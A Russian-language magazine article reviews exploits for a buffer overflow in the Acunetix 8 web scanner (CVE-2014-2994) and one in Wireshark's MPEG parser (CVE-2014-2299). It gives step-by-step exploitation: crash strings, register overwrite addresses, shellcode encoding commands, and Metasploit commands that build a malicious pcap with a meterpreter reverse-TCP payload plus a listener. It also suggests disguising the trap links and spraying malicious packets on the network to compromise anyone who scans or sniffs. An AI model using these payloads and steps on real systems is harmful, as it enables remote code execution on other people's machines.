Содержание статьи
В этом обзоре мы рассмотрим эксплойты в софте для проведения атак. Используя такие уязвимости, можно создать активную защиту, которая сможет атаковать в ответ всех, кто пытается получить важную информацию.
WARNING
Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
Уязвимость нулевого дня в Acunetix 8
- CVSSv2 10.0 (AV:R/AC:L/Au:N/C:C/I:C/A:C)
- Дата релиза: 23 апреля 2014 года
- Автор: Danor Cohen, Osanda Malith
- CVE: 2014-2994
BRIEF
Acunetix — один из самых популярных веб-сканеров уязвимостей и знаком многим нашим читателям благодаря хорошим результатам и простоте использования. Правда, большинство людей использует его «ознакомительную» версию Acunetix 8 (билд 20120704) из-за ощутимой цены. В связи с этим атаку с использованием найденной уязвимости прозвали «Взломай скрипт-кидди».
Ошибка происходит из-за неправильной обработки полученных данных, в частности ссылок на сторонние доменные имена. Вот пример найденных с помощью модуля Scan Wizard
доменов для блога автора уязвимости.
Этот модуль собирает домены из HTML-тегов, используемых на исследуемом сайте, например:
<img src=http://externalSource.com/someimg.png >
<a href=http://externalSource.com/ ></a>
После небольшого фаззинга было найдено, что Acunetix падает, если длина строки с доменным именем будет равна 268 или больше байт:
<A href= “http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA”>
При быстром анализе падения приложения в Immunity Debugger видим, что происходит повреждение регистра EDX, который заполняется кодом символа A
. Значение регистров представлено на скриншоте.
Первая проблема в эксплуатации этой уязвимости заключается в обходе SEH. Вторую можно описать одним словом — ASCII. Acunetix получает информацию о внешних доменах как URL-адреса. А так как URL-адреса содержат только цифры и буквы за отдельным исключением, то мы не сможем указать некоторые адреса. Например, символ "
будет представлен в памяти как 253232, потому что в начале конвертируется в %22 и затем только в коды символов. Кстати, сам символ %
тоже будет конвертирован и отобразится как 253235.
Поэтому мы можем использовать только символы из диапазонов: A–Z, a–z, 1–0. И несколько специальных символов-исключений: !()=}{
.
Автор долгое время пытался найти обход SEH с использованием только «печатных» символов, но нашел лишь обходной путь, поэтому он советует не тратить время на поиски.
Давай взглянем на полученное решение. Если посмотрим на строку, в которой происходит падение, то увидим следующее:
00405998 8B4A F8 MOV ECX,DWORD PTR DS:[EDX-8]
Мы перезаписываем регистр EDX, но в инструкции он использует полученное значение минус 8. То есть к найденному подходящему адресу нужно будет добавить 8, конвертировать в «печатные» символы и надеяться на лучшее...
После небольшого поиска был найден подходящий адрес, который успешно представляется подходящими символами:
0х66303035 = f005
Для поиска нужного смещения можно воспользоваться утилитами pattern_create.rb
иpattern_offset.rb
из фреймворка Metasploit. Небольшое руководство по их использованию мы публиковали в одном из номеров, или можешь прочесть онлайн-версию на нашем сайте.
Далее находим место в URL-адресе, которое затирает регистр, и подставим полученное значение
<img src=”http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA500fBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB”>
Результат представлен на скриншоте. Как ты видишь, мы добились нужного результата и перезаписали регистр EIP.
![Перезапись регистра EIP после обращения к адресу 0х66303035](EIP overrun.png)
Помимо этого, есть два места, куда мы можем подставить наш шелл-код: регистры ESP и EAX. Лучше всего использовать ESP по нескольким причинам:
- этот регистр указывается точно на начало строки с шелл-кодом;
- больше места под полезную нагрузку, чем в EAX.
После того как мы определились с выбором регистра, нужно найти адрес, указывающий на инструкцию:
JMP ESP
Этот адрес должен будет записан с помощью «печатных» символов. Автор оригинального эксплойта использовал следующий адрес:
0x7e79515d (из библиотеки SXS.DLL) = ]Qy~
Также можно воспользоваться утилитой mona.py от Corelan с подходящими опциями и найти еще варианты:
!mona jmp -r esp -cp asciiprint
0x4d526349 : jmp esp | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [WINHTTP.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.2180 (C:\WINDOWS\system32\WINHTTP.dll)
Результат будет выглядеть примерно так:
0x4d526349 = MRcI
Но воспользуемся первым, подставим его в нашу атакующую ссылку и запустим программу:
<img src=”http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA500fBBBB]Qy~BBBB...”>
Результат срабатывания ты увидишь на скриншоте. Мы добились вызова инструкции:
INC DEX
Ее опкодом является 42
— код переданного символа B
. Если заметил, то полученный адрес мы записали через четыре символа после первого адреса, так как они идут в ненужный нам регистр.
Следующим шагом нам нужно подобрать подходящий Windows-шелл, который мы сможем записать как URL-строку. В этом нам могут помочь две утилиты:
- Python-утилита ALPHA3:
ALPHA3.py esp -- input="shellcode.bin"
; - Metasploit-утилита:
msfpayload windows/exec cmd=calc EXITFUNC=thread R| msfencode -e x86/alpha_mixed -t python BufferRegister=ESP
.
Но не забывай: так как шелл-код находится в ESP-регистре, то первая инструкция должна будет быть:
PUSH ESP
Поэтому мы и указываем в утилитах такой параметр. Полученный эксплойт успешно проходит DEP-защиту, так как Acunetix был скомпилирован без соответствующей опции. Полученную строку ты можешь добавить в нашу ссылку и сохранять у себя на сайте.
EXPLOIT
Теперь рассмотрим эксплойты, которые могут сгенерировать все описанное. На момент написания статьи существовало два публичных эксплойта:
Также доступны видео по эксплуатации как Python-версии, так и Perl-версии.
Единственная проблема — такие адреса будут очень подозрительны, когда атакующий увидит их в окне Scan Wizard, поэтому автор предлагает их замаскировать:
- Сделать домен более привлекательным:
ADMIN.ControlMangment.1249874350345.site.com
- Использовать имена доменов, начинающиеся с типов уязвимостей: SQLINJECTION, XSS", CSRF и подобное. Например:
<img src="http://CSRF................................................ ..................................................................... .....................................................................шелл-код">
Большинство начинающих пентестеров с радостью выберут такие пункты, нажмут ОК и далее выполнят подставленный произвольный код.
TARGETS
Протестировано на Acunetix 8 build 20120704.
SOLUTION
Есть исправление от производителя.
Переполнение буфера в версиях Wireshark ниже 1.8.12/1.10.5
- CVSSv2 9.3 (AV:R/AC:M/Au:N/C:C/I:C/A:C)
- Дата релиза: 7 марта 2014 года
- Автор: Wesley Neelen
- CVE: 2014-2299
BRIEF
Следующая программа также знакома большинству читателей — Wireshark. Без нее анализ сетевого трафика уже многим непривычен и неудобен.
Ошибка обнаружилась в функции mpeg_read()
из файла wiretap/mpeg.c
, которая используется для парсинга файлов формата MPEG. Сама же уязвимость проявляется из-за отсутствия проверки размера полученных данных, вследствие чего получаем обычное переполнение буфера.
Проблему разработчики легко исправили, добавив проверку на размер пакета:
if (packet_size > WTAP_MAX_PACKET_SIZE) {
...
*err = WTAP_ERR_BAD_FILE;
*err_info = g_strdup_printf("mpeg: File has %u-byte packet, bigger than maximum of %u", packet_size, WTAP_MAX_PACKET_SIZE);
return FALSE;
}
В отличие от предыдущей программы, данная бесплатная с открытыми исходниками, но довольно часто используется ее portable-версия, которую периодически забывают обновлять. Так что у тебя есть все шансы успешно воспользоваться следующим эксплойтом.
EXPLOIT
Структура файла-эксплойта включает несколько частей:
- сигнатуру (Magic number) MPEG-файла —
FFFB41
; - случайные данные;
- ROP-цепочку;
- шелл-код;
- случайные данные, число которых определяется размером предыдущих секций;
- инструкцию для обхода SEH-механизма, если файл открывается через командную строку;
- снова случайные данные;
- инструкцию для обхода SEH, если открывается через GUI.
Несколько инструкций SEH пришлось использовать из-за различных сценариев открытия файла. Если интересно, можешь посмотреть историю разработки на GitHub-аккаунте автора.
Чтобы найти ROP-цепочку и инструкции для обхода SEH, как и в предыдущем эксплойте, воспользуемся утилитой mona.py
. Кстати, команда Corelan в своем видео по использованию скрипта для примера как раз использует одну из уязвимостей в программе Wireshark. В нашем случае, зная нужные библиотеки, можно заюзать такую команду:
!mona rop -m "libgtk-win32, libjpeg, libgnutls, libgobject, libcares" -cpb '\xff'
А пока возьмем готовый Metasploit-модуль, который генерирует файл формата PCAP для открытия его уязвимой программой Wireshark:
use exploit/windows/fileformat/wireshark_mpeg_overflow
msf exploit (wireshark_mpeg_overflow) > set payload windows/meterpreter/reverse_tcp
msf exploit (wireshark_mpeg_overflow) > set lhost 192.168.81.131
msf exploit (wireshark_mpeg_overflow) > set target 1
msf exploit (wireshark_mpeg_overflow) > exploit
После этого отправляем файл пользователю атакуемой машины из папки/root/.msf4/local/mpeg_overflow.pcap
, а у себя запускаем клиент, который будет ожидать коннекта:
msf exploit (wireshark_mpeg_overflow) > use exploit/multi/handler
msf exploit (handler) > set payload windows/meterpreter/reverse_tcp
msf exploit (handler) > set lhost 192.168.81.131
msf exploit (handler) > exploit
Осталось дождаться запуска нашего файла, после чего выполняем любые команды на побежденной машине :).
Есть идея попробовать доработать эксплойт, чтобы он генерировал не файл, а пакет, и отправлять его постоянно по сети. Тем самым с большой вероятностью любой человек, который попробует поснифать твои пакеты, используя уязвимую версию, выполнит произвольный код на своей машине. Ну или просто его Wireshark будет постоянно закрываться.
Видео по работе с этой уязвимостью и идеи ее использования опубликовали ребята из Digital Security в своей статье по «побегу» из виртуальной машины.
TARGETS
- Wireshark <= 1.8.12.
- Wireshark <= 1.10.5.
SOLUTION
Есть исправление от производителя.